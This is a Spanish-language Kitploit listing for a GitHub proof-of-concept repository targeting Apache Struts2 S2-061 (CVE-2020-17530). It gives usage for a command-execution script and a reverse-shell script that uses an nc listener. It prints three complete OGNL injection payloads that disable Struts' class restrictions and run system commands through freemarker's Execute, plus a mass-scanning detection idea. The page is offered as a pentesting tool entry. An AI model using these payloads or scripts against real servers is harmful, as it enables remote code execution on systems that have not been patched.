Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-17530 — Payload de S2-061, y PoC/Exp simple correspondiente. | Kitploit
Herramientas/GitHubGitHub/wuzuowei/cve-2020-17530
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubwuzuowei/cve-2020-17530

CVE-2020-17530

Payload de S2-061, y PoC/Exp simple correspondiente.

Ver Repositorio
4622hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

S2-061

Todos los scripts están escritos basados en el entorno de prueba de vulnerabilidades struts2-059/061 de vulhub, no son universales, espero que los expertos me den consejos.

  • struts2-061-poc.py (puede ejecutar comandos simples del sistema)

    Uso: python struts2-061-poc.py http://ip:port command

    Ejemplo: python struts2-061-poc.py http://192.168.0.7:8080 whoami

  • S2-061-shell.py (puede obtener una reverse shell)

    Uso:

    1. Primero, en una máquina A, escuche en un puerto específico (por ejemplo: nc -lvvp 7777)

    2. Ejecute el script: python2 S2-061-shell.py target_url, donde target_url es la dirección del entorno vulnerable, en el formato http://ip:port

    3. Según las indicaciones del script, ingrese la IP de la máquina A y el puerto en escucha, y obtendrá una shell en la ventana de escucha de la máquina A.



A continuación se presentan los payloads creados por algunos expertos:

payload-1:(de ka1n4t)

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

payload-2:(de Smi1e)

Artículo de análisis completo: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458

Usando application, el POC completo de la idea

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

Usando request, POC completo válido para una sola solicitud (recomendado)

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}

Nota: Por favor, codifique el código OGNL anterior con URL antes de usarlo en la herramienta.

Idea de detección:

En las nuevas versiones de Struts2, ya no es posible analizar expresiones OGNL mediante la construcción de parámetros. Por lo tanto, si se desea utilizar un script para escanear de forma masiva si existe esta vulnerabilidad, se puede considerar forzar todos los parámetros y luego verificar si la página contiene el texto de resultado esperado.

Ej: %{ 'gcowsec-' + (2000 + 20).toString()}

Se espera obtener

gcowsec-2020

Simplemente use el script para determinar si el resultado lo contiene.

Descargar herramienta